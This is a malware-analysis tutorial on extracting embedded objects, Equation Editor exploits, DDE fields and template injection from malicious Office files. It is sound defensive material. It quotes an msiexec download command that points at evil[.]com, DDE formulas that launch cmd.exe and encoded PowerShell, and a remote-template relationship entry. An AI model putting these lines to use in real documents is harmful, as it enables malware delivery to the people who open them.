Extracting Embedded Objects & Payloads

Extracting Embedded Objects & Payloads

Beyond Macros -- Other Document Attack Vectors

While VBA macros are the most well-known Office attack vector, documents can carry malicious payloads through several other mechanisms that do not require macros at all:

Extracting OLE Embedded Objects

Using oleobj (oletools)

# Extract all embedded OLE objects from a document
oleobj suspicious.doc

# Example output:
# Found OLE Package in stream 'ObjectPool/_1234567890/...':
#   Filename: "invoice_details.exe"
#   Source path: "C:\Users\...\invoice_details.exe"
#   Temp path: "C:\Users\...\Temp\invoice_details.exe"
#   Saving to file: invoice_details.exe
#   MD5: a1b2c3d4e5f6...

# Check the type of extracted objects
file invoice_details.exe
# Output: PE32 executable (GUI) Intel 80386

# Get hash for threat intel lookup
sha256sum invoice_details.exe

Using oledump.py for Stream-Level Extraction

# List all streams to find embedded objects
oledump.py suspicious.doc -i

# Look for streams with embedded content indicators:
#  1:       114 '\x01CompObj'
#  2:      4096 'ObjectPool/_1558354132/\x01CompObj'
#  3:      4096 'ObjectPool/_1558354132/\x01Ole'
#  4:    248320 'ObjectPool/_1558354132/\x03ObjInfo'  <- Large size = embedded file
#  5: O  248320 'ObjectPool/_1558354132/CONTENTS'      <- 'O' marker = OLE object

# Extract the embedded object
oledump.py -s 5 -d suspicious.doc > embedded.bin

# Identify the extracted file
file embedded.bin
trid embedded.bin

RTF Documents with Embedded Objects

RTF files are a major carrier for embedded malicious objects. They use hex-encoded serialized strings to embed OLE1 objects. Use Didier Stevens' rtfdump.py for analysis:

# Get an overview of RTF groups and embedded objects
rtfdump.py suspicious.doc

# Example output:
# 1 Level 1  c=1 p=00000000 l=259009 h=31344; 5 b=0 u=0 \rtf1
# 2 Level 2  c=1 p=0000001b l=258973 h=31344; 5 b=0 u=0 \object
# 3 Level 3  c=789 p=000000c7 l=258789 h=31344; 5 b=0 u=0 \objdata
#   Name: 'dsfmiusg.4\x00'
#   Size: 3584
#   md5: dfb124dd8856c00c7b51e9afe38ebff5
#   magic: d0cf11e0   <- OLE2 embedded object!

# List only embedded objects (capital O parameter)
rtfdump.py suspicious.doc -O

# Extract an embedded object by index
rtfdump.py suspicious.doc -O -s 1 -d > extracted_object.bin

# Verify the extracted file type
file extracted_object.bin
# Output: Composite Document File V2 Document (OLE2)
trid extracted_object.bin

Analyzing Extracted OLE2 Objects from RTF

Once you extract the OLE2 object, analyze it with oledump:

# Examine the extracted OLE2 object
oledump.py extracted_object.bin -i

# Look for suspicious streams:
# If you see "Equation Native" -> possible Equation Editor exploit
# If you see macro streams (M marker) -> embedded macros

# Extract strings from suspicious streams
oledump.py extracted_object.bin -s 4 -S
# May reveal: cmd.exe commands, URLs, msiexec.exe payloads

# Extract ASCII content without null bytes
oledump.py extracted_object.bin -s 4 -A

Package Shell Objects

The "Packager Shell Object" (CLSID: Package) is an OLE feature that wraps any arbitrary file inside a document. When the user double-clicks the embedded icon, Windows extracts and executes the file.

Common Embedded File Types

Extraction and Analysis

# oleobj extracts Package Shell Objects
oleobj suspicious.doc
# Shows: original filename, source path, temp path

# Alternative: rtfobj for RTF files specifically
rtfobj suspicious.doc
# Extracts embedded objects from RTF containers

# After extraction, analyze the embedded file
file extracted_payload.exe
sha256sum extracted_payload.exe
strings extracted_payload.exe | head -50

Equation Editor Exploits (CVE-2017-11882)

Microsoft Equation Editor 3.0 (EQNEDT32.exe) contained a stack buffer overflow vulnerability that was one of the most exploited in malware campaigns. Although Microsoft discontinued Equation Editor, many unpatched systems remain vulnerable.

How It Works

1. Malicious document contains an Equation Editor OLE object
2. When opened, Word invokes EQNEDT32.exe to render the equation
3. The malformed object overflows a buffer in the font name field
4. Shellcode executes with the privileges of the Word process
5. Shellcode typically downloads and executes a payload

Detection and Analysis

# Check for Equation Editor objects in extracted OLE
oledump.py extracted_object.bin -i
# Look for stream named "Equation Native"

# Extract and examine the Equation Native stream
oledump.py extracted_object.bin -s 4 -A
# Look for embedded commands: cmd.exe, msiexec.exe, powershell

# Parse the Equation Editor structure
oledump.py extracted_object.bin -s 4 -d | format-bytes.py -f name=eqn1
# Shows structured fields including the font name (shellcode location)

# Extract strings that reveal the payload intent
oledump.py extracted_object.bin -s 4 -S
# Example: "cmd.exe & /C CD C: & msiexec.exe /i http://evil[.]com/p.msi /qn"

DDE Exploitation (No Macros Needed)

Dynamic Data Exchange (DDE) allows Office documents to execute system commands through formula fields without requiring macros. This was widely abused before Microsoft added protections.

Word DDE

{DDEAUTO c:\windows\system32\cmd.exe "/c powershell -e BASE64ENCODED"}

Excel DDE

=cmd|'/c powershell -e BASE64ENCODED'!A0
=MSEXCEL|'..\..\..\Windows\System32\cmd.exe'!''

Detection

# msodde (specialized DDE detector from oletools)
msodde suspicious.docx
# Output shows any DDE links found

# olevba also detects DDE
olevba suspicious.docx
# Look for: "DDE" or "DDEAUTO" in the keyword table

# For OOXML files, check XML content directly
unzip -p suspicious.docx word/document.xml | grep -i "DDE\|fldChar"

OOXML Analysis -- Unzip and Inspect

OOXML files (.docm, .xlsm, .docx) are ZIP archives. Unzipping them reveals the internal structure:

# Unzip the document
mkdir extracted && cd extracted
unzip ../suspicious.docm

# Key files to inspect:
ls -la word/vbaProject.bin       # VBA macros (OLE2 format)
ls -la word/document.xml         # Main document content
ls -la word/_rels/document.xml.rels  # Relationships (critical!)
ls -la [Content_Types].xml       # Content type definitions

# Use zipdump.py for structured overview
zipdump.py suspicious.docm
# Shows all entries with sizes and compression ratios

Checking Relationships for External Links

# Search for external URLs in relationship files
grep -ri "http\|https\|ftp\|TargetMode=.External" word/_rels/*.rels

# Use xmldump.py for cleaner XML analysis
zipdump.py suspicious.docm -s 4 -d | xmldump.py

Template Injection

Template injection is a powerful technique where the document itself contains no macros, but fetches a malicious template from an external URL when opened:

<!-- Found in word/_rels/document.xml.rels -->
<Relationship
    Id="rId1"
    Type="http://schemas.openxmlformats.org/.../attachedTemplate"
    Target="http://evil[.]com/template.dotm"
    TargetMode="External"/>

Why Template Injection Is Effective

• No macros in the initial document -- bypasses macro scanning
• Template fetched on open -- macros come from the remote .dotm file
• Relationship is in XML -- easy to miss without specific checks
• Legitimate feature -- templates are a normal Office capability

Detection Workflow

# Step 1: Unzip and check relationships
unzip suspicious.docx -d extracted/
grep -r "TargetMode=.External" extracted/

# Step 2: Use zipdump.py for quick check
zipdump.py suspicious.docx -D | grep -i "external\|http"

# Step 3: Check for oleObject relationships (linked OLE)
grep -r "oleObject\|attachedTemplate" extracted/word/_rels/

# Step 4: If external URL found, fetch and analyze the template
# (In a sandboxed environment only!)

Complete Maldoc Analysis Workflow

Phase 1: IDENTIFICATION (1-2 min)
  file suspicious.doc && trid suspicious.doc
  sha256sum suspicious.doc

Phase 2: MACRO ANALYSIS (5-10 min)
  olevba suspicious.doc              # VBA macros + keyword analysis
  xlmdeobfuscator --file suspicious.xls  # XLM macros (Excel only)

Phase 3: EMBEDDED OBJECT EXTRACTION (5-10 min)
  oleobj suspicious.doc              # OLE embedded objects
  rtfobj suspicious.doc              # RTF embedded objects
  oledump.py suspicious.doc -i       # Stream-level inspection

Phase 4: DDE AND TEMPLATE CHECKS (2-5 min)
  msodde suspicious.docx             # DDE link detection
  zipdump.py suspicious.docx -D      # OOXML relationship check
  grep "External" extracted/_rels/*  # Template injection

Phase 5: PAYLOAD ANALYSIS (10-30 min)
  # Analyze each extracted artifact separately:
  file extracted_payload.bin
  strings extracted_payload.bin
  scdbg /f shellcode.bin             # Shellcode emulation
  sha256sum * | sort                 # Hash for threat intel

Phase 6: DOCUMENTATION
  # File hashes, macro behavior, IOCs, ATT&CK mapping

Common Pitfalls

1. Stopping at macros -- Always check for embedded objects, DDE, and template injection
2. Missing RTF containers -- Files with .doc extension can be RTF format; use file to verify
3. Ignoring Equation Editor -- Even old CVEs like CVE-2017-11882 are still actively exploited
4. Not checking .rels files -- Template injection lives in relationship XML files
5. Analyzing only the outer file -- Embedded objects may contain their own macros or exploits

ATT&CK Mapping